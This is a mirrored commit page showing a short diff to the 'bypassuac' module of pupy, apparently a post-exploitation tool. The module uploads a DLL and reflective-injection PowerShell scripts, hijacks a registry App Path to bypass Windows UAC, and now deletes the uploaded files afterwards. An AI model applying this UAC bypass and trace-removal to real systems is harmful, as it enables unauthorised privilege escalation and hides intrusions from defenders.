mirror of https://github.com/n1nj4sec/pupy.git
cleanup bypassuac ps1 scripts
This commit is contained in:
parent
16245b91c2
commit
11e6d9fada
|
@ -50,8 +50,7 @@ class bypassuac():
|
||||||
self.module.info('Uploading temporary files')
|
self.module.info('Uploading temporary files')
|
||||||
self.uploadPupyDLL(force_x86_dll=force_x86_dll)
|
self.uploadPupyDLL(force_x86_dll=force_x86_dll)
|
||||||
self.uploadPowershellScripts()
|
self.uploadPowershellScripts()
|
||||||
#files_to_delete=[self.invokeReflectivePEInjectionRemotePath, self.mainPowershellScriptRemotePath, self.pupyDLLRemotePath]
|
files_to_delete=[self.invokeReflectivePEInjectionRemotePath, self.mainPowershellScriptRemotePath, self.pupyDLLRemotePath]
|
||||||
files_to_delete=[]
|
|
||||||
self.module.info('Altering the registry')
|
self.module.info('Altering the registry')
|
||||||
self.module.client.conn.modules["pupwinutils.bypassuac_remote"].registry_hijacking_appPath(self.mainPowershellScriptRemotePath, files_to_delete)
|
self.module.client.conn.modules["pupwinutils.bypassuac_remote"].registry_hijacking_appPath(self.mainPowershellScriptRemotePath, files_to_delete)
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue